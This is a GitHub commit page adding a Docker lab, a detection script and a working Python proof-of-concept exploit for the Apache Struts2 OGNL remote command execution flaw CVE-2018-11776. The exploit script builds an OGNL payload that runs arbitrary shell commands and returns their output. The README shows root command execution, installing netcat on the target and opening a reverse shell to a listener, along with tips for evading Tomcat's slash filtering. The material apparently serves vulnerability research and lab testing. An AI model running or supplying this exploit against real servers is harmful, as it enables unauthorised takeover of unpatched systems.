Skip to content

Commit

Permalink
added dockerlab, test script, poc tool, documentation
Browse files Browse the repository at this point in the history
  • Loading branch information
hook-s3c committed Aug 24, 2018
1 parent c99d527 commit 112306e
Show file tree
Hide file tree
Showing 5 changed files with 217 additions and 0 deletions.
7 changes: 7 additions & 0 deletions Dockerfile
@@ -0,0 +1,7 @@
FROM tomcat:7
MAINTAINER piesecurity <admin@pie-secure.org>
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY struts2-showcase-2.3.12.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080
96 changes: 96 additions & 0 deletions README.md
@@ -1 +1,97 @@
# CVE-2018-11776-Python-PoC
hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

Working Python test and PoC for CVE-2018-11776, originally appearing on;
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

## Set up your docker instance

exploit will work fine with the docker container build for cve-2017-5638
(struts2-showcase-2.3.12)
```
$ docker pull piesecurity/apache-struts2-cve-2017-5638
```

## Set up your weakened configuration

```
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
```
add the configuration below;
```
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
```

restart your tomcat and/or container
```
$ /usr/local/tomcat/bin/shutdown.sh
```

## Verify that target is vulnerable

test the url to see if a redirect and evaluation occurs;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

with the test script;
```
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
```

## Execute commands PoC

```
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: id
[Url]: http://0.0.0.0:32771/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
```


## Reverse shell

get your box ready to accept the reverse shell;
```
$ netcat -lvp 31337
```

run the script;
```
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
```
replace 32771 with your exposed container port

# Debug hell (notes/todo)

All requests with a forward-slash (/) will fail because Tomcat actively blocks these, you may need to work around this, for example using environment variables for /bin/bash as $SHELL in the example above.

- https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
- http://engineering.widen.com/blog/tomcat-slashes/


# Credit

Thanks to ;

- piesecurity for the Dockerfile lab and example of OGNL payload (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
- xfox64x for the write-up on the method (https://github.com/xfox64x/CVE-2018-11776)
- jiguang7 for the test (https://github.com/jiguang7/CVE-2018-11776)


# Greetz

shout out to vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces
50 changes: 50 additions & 0 deletions exploitS2-057-cmd.py
@@ -0,0 +1,50 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
print "[Execute]: {}".format(cmd)

ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"

if not ":" in host:
host = "{}:8080".format(host)

# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)

# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20"))

print "[Url]: {}\n\n\n".format(url)

try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response


if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
64 changes: 64 additions & 0 deletions exploitS2-057-test.py
@@ -0,0 +1,64 @@
#!/usr/bin/env python3
# From: JIGUANG s1@jiguang.in
# edits by hook-s3c (github.com/hook-s3c)


import requests,sys,random,json
requests.packages.urllib3.disable_warnings()

from urllib import parse


def info():

s2_057 = {"id": "CVE-2018-11776", "kind": "web", "type": "Remote Command Execution", "name": "Struts2 \u547d\u4ee4\u6267\u884c\u6f0f\u6d1eCVE-2018-11776", "status": "high", "description": "", "expansion": "", "resolution": "", "method": "POST", "payload": "", "header": "", "body": "", "affectedComponent": [{"name": "WebLogic", "description": "Struts2\u662f\u4e00\u4e2a\u57fa\u4e8eMVC\u8bbe\u8ba1\u6a21\u5f0f\u7684Web\u5e94\u7528\u6846\u67b6\uff0c\u5b83\u672c\u8d28\u4e0a\u76f8\u5f53\u4e8e\u4e00\u4e2aservlet\uff0c\u5728MVC\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0cStruts2\u4f5c\u4e3a\u63a7\u5236\u5668(Controller)\u6765\u5efa\u7acb\u6a21\u578b\u4e0e\u89c6\u56fe\u7684\u6570\u636e\u4ea4\u4e92"}]}

def poc(url):

try:

retval = False
headers = dict()
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0'
r1 = random.randint(10000,99999)
r2 = random.randint(10000,99999)
r3 = r1 + r2

urlOne = url

res = requests.get(url=urlOne,timeout=6,allow_redirects=False,verify=False)

if res.status_code == 200:

urlTemp = parse.urlparse(urlOne)

urlTwo = urlTemp.scheme + '://' + urlTemp.netloc + '/${%s+%s}/help.action'%(r1,r2)
res = requests.get(url=urlTwo,timeout=6,allow_redirects=False,verify=False)

print("testing the url for exploit;", urlTwo)
if res.status_code == 302 and res.headers.get('Location') is not None and str(r3) in res.headers.get('Location'):
# print("passed the redirect check")
urlThree = res.headers.get('Location')
# print(urlThree)
# res = requests.get(url=urlThree,timeout=6,allow_redirects=False,verify=False)
retval |= str(r3) in urlThree
# print(retval)

except:pass
finally:

if retval:

print('URL {} s2-057 CVE-2018-11776 is vulnerable!'.format(url))

else:
print('URL {} s2-057 CVE-2018-11776, not vulnerable!'.format(url))




if __name__ == '__main__':

args = sys.argv[1]
poc(url=args)

Binary file added struts2-showcase-2.3.12.war
Binary file not shown.

0 comments on commit 112306e

Please sign in to comment.